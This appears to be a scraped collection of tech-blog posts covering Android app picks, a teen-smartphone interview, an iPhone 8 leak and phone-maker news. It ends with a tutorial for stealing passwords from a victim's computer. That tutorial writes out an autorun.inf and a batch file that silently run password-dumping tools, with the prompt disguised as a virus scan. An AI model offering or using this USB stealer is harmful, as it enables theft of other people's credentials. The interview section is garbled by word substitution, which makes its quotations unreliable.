1. Assistant Ai

This app is one of my favorites. It provides you with a virtual assistant that helps you with many tasks. You can name your assistant and change the looks. I named mine, Stephanie. So when I say or type "Stephanie, Check my mail" - she automatically opens my mail. Here's a list of some things my assistant can do, yours can also do the same.

Turn On/Off Wifi
Turn On/Off Bluetooth
Check my mail and send email
Update my Facebook status
Tweet
Book A Flight
Make Reservations

Normally a default mobile alarm goes off when you stop it but with the assistant , it'll definitely bug you till you wake up. She works well with an active Internet connection. You'll still get alerts for your normal reminders and alarm without Internet connection if you've set it previously online.



2. CS Scanner

This app practically turns your smartphone to a portable scanner. You can scan any documents on the go directly from your phone camera. The only issue is that the quality of the document scanned depends on the quality of your camera. I'll recommend devices with camera of 8 mega pixels and above



3. MusixMatch

Gone are the days when you hear a song you really like and you don't know the name. It's always annoying if you really like the song and it's playing on a radio but you can't download it because you don't know the name. MusixMatch eliminates all these problems, All you have to do is turn on your data connection, Open The MusixMatch app then Click On Identify lyrics. Place your device near the source of the song. You'll get all the details of the song including the lyrics. Sounds cool right.. you're becoming a geek...



4. Shazam

Shazam is almost like MusixMatch. It's basically almost the same thing. Just that it has a totally different UI.



5. Moboplayer.

This app helps when you're watching your favorite movie and a WhatsApp message pops up, and you don't wanna turn off your data or You're chatting with someone special and you also want to watch a movie at the same time. All you have to do is play the movie with Moboplayer, minimize it then continue what you're doing with you're phone. The movie should appear in a small box on your screen. I recommend using a device with at least 1gb of ram if you want
this app to run without glitches.



6. MalMath

This app solves mathematical problems and shows you the full steps and working
used to solve the problem. Students can use this to study.. From Differentiation To Algebra and Trigonometry and other more... All you need to do is to type in the equation. It can also plot graphs. So this app is a must have for every student.



7. Photo Math

It does the same work as Malmath, however Photomath brings in one Unique feature. You can simply scan the equation with your camera and it'll solve it for you
.



8. Solo Learn Apps

10. MSQRD

Play a smart prank on your friends. Ask them to take a selfie with you using the MSQRD app. They'll be so shocked once they see their change..

Reasons Why Smartphones Are Making Kids Unhappy

For the primary time, a generation of kids is going through childhood with smartphones ever-present. Jean Twenge, a professor of psychology at San Diego country college, has a name for these young human beings born between 1995 and 2012: “iGen.”

She says members of this generation are bodily safer than folks that got here before them. They drink less, they discover ways to pressure later and they’re maintaining off on having sex. but psychologically, she argues, they're a long way extra vulnerable.

“It’s not an exaggeration to explain iGen as being on the brink of the worst intellectual fitness crisis in a long time,” she writes in a story in the Atlantic, tailored from her impending book. and she or he says it’s in large part due to smartphones.

smartphones making kids sad

Twenge spoke to All things taken into consideration approximately her research and her conclusions. This interview has been edited for length and clarity.

How does teenager behavior now range from generations past?

nowadays’s young adults are simply not spending as a good deal time with their buddies in person, face-to-face, wherein they can definitely read every others’ feelings and get that social guide. And we recognise from masses and plenty of studies that spending time with other people in person is one of the nice predictors for psychological well-being and one of the nice protections in opposition to having intellectual health issues.

what is this era facing that concerns you a lot?

iGen is displaying intellectual health troubles throughout a wide sort of indicators. They’re more likely than young human beings simply 5 or 10 years ago to say that they’re worrying, that they've signs and symptoms of depression, that they've idea about suicide or have even [attempted] suicide. So throughout the board, there’s a simply steady trend with mental fitness troubles increasing among teens.

Is it mainly the cellphone, or is it social media? Or is it the number of hours in line with day spent on this stuff?

So, you examine the sample of loneliness. It all at once begins to growth around 2012. And most people of usa citizens had a mobile cellphone by means of the give up of 2012, in keeping with the Pew middle.

for the reason that using social media for greater hours is linked to more loneliness, and that smartphones have been utilized by most of the people of americans around 2012, and that’s the identical time loneliness increases, that’s very suspicious. you could’t actually prove causation, however by means of a bunch of different research, there’s this connection among spending a whole lot of time on social media and feeling lonely.

How a lot of a aspect is parenting?

So i was really surprised once I interviewed iGen teenagers how a lot of them are deeply aware of the negative outcomes of smartphones. Parenting is playing a role. I assume many dad and mom are worried about their young adults riding, and going out with their friends and drinking. yet mother and father are regularly no longer traumatic approximately their teen who stays at domestic but is on their cellphone all the time. but they should be concerned approximately that. I think dad and mom are worried approximately the wrong aspect.

are you able to propose answers that would help humans?

the primary is just consciousness that spending a variety of time on the telephone isn't harmless and that in case you’re spending numerous time at the telephone, then it may get rid of from sports that is probably greater useful for mental properly-being, like spending time with people in person.

Then for parents, I assume it is [a] top concept to dispose of giving your toddler a telephone as long as you may. in case you sense they need a smartphone, say, for using a bus, you may get them a flip cellphone. They nonetheless sell them. and then as soon as your youngster has a telephone, there are apps that allow parents to restrict the number of hours a day that teenagers are at the phone, and additionally what time of day they use it.

IPhone 8 Colors Revealed

A leaked iPhone 10th edition phone, called the iPhone 8, shows the phone will come in three colors, as quoted by Phonearena last weekend. The leak shows the back of the phone that has a double vertical camera, the Apple logo and without a Touch ID fingerprint scanner. The back of the phone features a shiny copper, silver, and black color.
The recent iPhone 8 view also unintentionally leaked Apple through a pre-release HomePod firmware that was uploaded to a public server some time ago. According to The Guardian, the firmware should be disseminated internally.
In the firmware, there is an image of the first official iPhone 8 percent dubbed “D22”. Despite being silhouetted, it tells many things. For example, the loss of the home button. The images that appear confirm the speculation that Apple will soon kill the feature on the front of the phone.
Details on HomePod firmware say that Apple – at least on the next iPhone – switches from Touch ID and chooses an infrared based face recognition.
Identified as “Peal ID”, the new feature will probably shift Apple’s biometric tendencies from thumbs to faces, allowing multiple purchases by simply scanning the user’s face.

In addition, the top of the phone is also interesting. Apple is clearly shifting towards the front of the minimized edges (bezels), and on the leaked image, the screen looks expanded to the top of the phone. However, in the middle of the top, there are pieces, which is almost certainly where the camera is.
Some other information was also revealed. For example, the phone can record video in 4K resolution at 60 frames per second. That number is greatly larger from the 30 fps on the iPhone 7 Plus, and will surely be greeted happily by vloggers around the world.
The iPhone 8 is expected to go on sale from US $1,000. This phone is predicted to withdraw from the tradition of introducing a new handset in September.

YouTube Music finally lets you save single songs and playlists offline

It’s hard to believe YouTube Music has been around for almost two years now, and that for most of that time, the service’s offline offering have been so paltry compared to YouTube proper’s ample offline options. Before this week, if you wanted to download songs to listen to in YouTube Music, you were at the mercy of the Offline Mixtape, a random assortment of songs based on your listening history. Offline mixtapes are clunky, often don’t flow well if you listen to diverse genres, and run out quickly. Luckily, we don’t have to put up with that anymore.
YouTube Music finally has the save offline support for playlists and single songs.
That’s right, you can kiss that dreaded Offline Mixtape goodbye and make your own Offline songs mixtape. Saving videos in YouTube Music work much the same as it does on YouTube proper, though you still can’t set your download quality at a per video level, just set a quality for all offline downloads. The beauty of downloading songs here in YouTube Music is that you have an option to save the audio only, cutting down their download size and just how many of them you can fit on phones with sparse storage.
You still can’t kick YouTube Music to an offline only mode unless you go into airplane mode, but getting the offline support that’s more than a box of musical chocolates is a step in the right direction, to be sure. YouTube Music’s selection still isn’t as good as YouTube proper, but it’s nice to see the app getting meaningful updates. It’s also nice to see a YouTube app with a dark theme because we’re still waiting for the one from the new desktop UI to come to YouTube for Android.

Infinix To Start Manufacturing Devices On Snapdragon Processors

Infinix Mobile has definitely been a strong force to reckon with in the Nigerian Smartphone Market and most of their flagship devices run on MediaTek Processors which make them quite affordable.

Infinix Mobility CEO, Benjamin Jiang dropped a post on his Facebook Account yesterday, revealing that future Infinix devices may run on Snapdragon Processors to improve overall performance. You should know by now that Tecno, iTel and Infinix are sister companies. It's quite possible that Tecno may follow suit but I still doubt the possibility of iTel following suit. However you shouldn't rule out the possibility of Itel Mobile using Snapdragon as well.



Popular flagships like the Samsung Galaxy S8 and Google Pixel run on Snapdragon Processors.

However, Snapdragon Processors aren't cheap so expect the next Infinix devices to cost a little bit more than their MediaTek counterparts.

Use This Trick To Steal Passwords with Your Mobile Phone

How To Steal Passwords with your mobile phone, you'll need these apps listed below;

1. MessenPass 
2. Mail PassView 
3. IE Passview 
4. Protected storage pass viewer(PSPV) 
5. Password Fox 

You can find these and tons more at http://www.nirsoft.net/ )

Steps to steal passwords with your mobile phone

1. First of all download all 5 tools in your memory card. Most of them are just some .exe files (mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe). (You need the softwares completely on your memory card. Make sure you have all the installation files in your memory card [if any]) 
2. Create a new Notepad and write the following text into it: [autorun] open=launch.bat ACTION= Perform a Virus Scan Save the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your memory card. 
3. Create another Notepad and write the following text onto it. (Yep, still no copy-pasting allowed.) start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt 
4. Save the Notepad and rename it from New Text Document.txt to launch.bat 
5. Copy the launch.bat file also to your USB drive. 

These were simple commands to start up our password “recovering” programs as soon as we plug in the USB. What we just did here is simply hook up our launch.bat batch file to the autorun.inf file that automatically runs when the computer detects the USB. In the launch.bat, we started up our programs and provided them with file names as parameters so that each program should put in the passwords in their respective .txt files. Now your USB password stealer is ready. All you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Perform a virus scan) as soon as you will click it, your USB password stealer will do it’s magic and all the passwords saved on the system will be saved in a .txt file. I recommend you try it out on your own system first to see how it should work. See the last line of our autorun.inf, we are simply specifying the text for the alert dialog. You can type in anything you think is the least suspicious. This may not work on all operating systems and all different browsers. Your best bet would be to pack in as many diverse programs as you can for giving you the best chance. Also, note that the computer should not have autorun feature disabled for the USB stealer to work.
